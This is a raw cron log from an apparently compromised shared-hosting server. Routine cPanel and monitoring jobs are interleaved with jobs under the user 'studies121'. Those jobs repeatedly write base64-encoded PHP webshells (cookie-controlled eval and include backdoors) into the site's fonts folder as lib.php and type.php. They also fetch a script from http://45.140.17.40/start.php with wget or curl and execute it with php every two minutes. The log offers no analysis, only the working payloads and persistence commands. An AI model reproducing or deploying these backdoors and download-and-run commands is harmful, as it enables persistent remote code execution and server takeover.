Sep  5 21:27:01 ip-184-168-122-23 CROND[28200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:27:01 ip-184-168-122-23 CROND[28202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:27:01 ip-184-168-122-23 CROND[28201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:28:01 ip-184-168-122-23 CROND[28368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:28:01 ip-184-168-122-23 CROND[28372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:28:01 ip-184-168-122-23 CROND[28370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:28:01 ip-184-168-122-23 CROND[28373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:28:01 ip-184-168-122-23 CROND[28371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:29:01 ip-184-168-122-23 CROND[28468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:29:01 ip-184-168-122-23 CROND[28469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:29:01 ip-184-168-122-23 CROND[28470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:29:01 ip-184-168-122-23 CROND[28471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:30:01 ip-184-168-122-23 CROND[28574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:30:01 ip-184-168-122-23 CROND[28575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:30:01 ip-184-168-122-23 CROND[28578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:30:01 ip-184-168-122-23 CROND[28577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:30:01 ip-184-168-122-23 CROND[28579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:30:01 ip-184-168-122-23 CROND[28581]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 21:30:01 ip-184-168-122-23 CROND[28580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:30:01 ip-184-168-122-23 CROND[28576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:31:01 ip-184-168-122-23 CROND[28692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:31:01 ip-184-168-122-23 CROND[28693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:31:01 ip-184-168-122-23 CROND[28695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:31:01 ip-184-168-122-23 CROND[28697]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 21:31:01 ip-184-168-122-23 CROND[28696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:32:01 ip-184-168-122-23 CROND[28808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:32:01 ip-184-168-122-23 CROND[28812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:32:01 ip-184-168-122-23 CROND[28813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:32:01 ip-184-168-122-23 CROND[28811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:32:01 ip-184-168-122-23 CROND[28810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:33:02 ip-184-168-122-23 CROND[29008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:33:02 ip-184-168-122-23 CROND[29007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:33:02 ip-184-168-122-23 CROND[29009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:33:02 ip-184-168-122-23 CROND[29010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:34:01 ip-184-168-122-23 CROND[29100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:34:01 ip-184-168-122-23 CROND[29104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:34:01 ip-184-168-122-23 CROND[29103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:34:01 ip-184-168-122-23 CROND[29102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:34:01 ip-184-168-122-23 CROND[29105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29217]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:35:01 ip-184-168-122-23 CROND[29218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29220]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:35:01 ip-184-168-122-23 CROND[29226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 21:36:01 ip-184-168-122-23 CROND[29324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:36:01 ip-184-168-122-23 CROND[29326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:36:01 ip-184-168-122-23 CROND[29327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:36:01 ip-184-168-122-23 CROND[29328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:36:01 ip-184-168-122-23 CROND[29329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:37:01 ip-184-168-122-23 CROND[29425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:37:01 ip-184-168-122-23 CROND[29428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:37:01 ip-184-168-122-23 CROND[29427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:37:01 ip-184-168-122-23 CROND[29429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:38:02 ip-184-168-122-23 CROND[29504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 21:38:02 ip-184-168-122-23 CROND[29505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:38:02 ip-184-168-122-23 CROND[29506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:38:02 ip-184-168-122-23 CROND[29508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 21:38:02 ip-184-168-122-23 CROND[29507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 21:39:01 ip-184-168-122-23 CROND[29609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 21:39:01 ip-184-168-122-23 CROND[29611]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 21:39:01 ip-184-168-122-23 CROND[29612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 21:39:01 ip-184-168-122-23 CROND[29613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
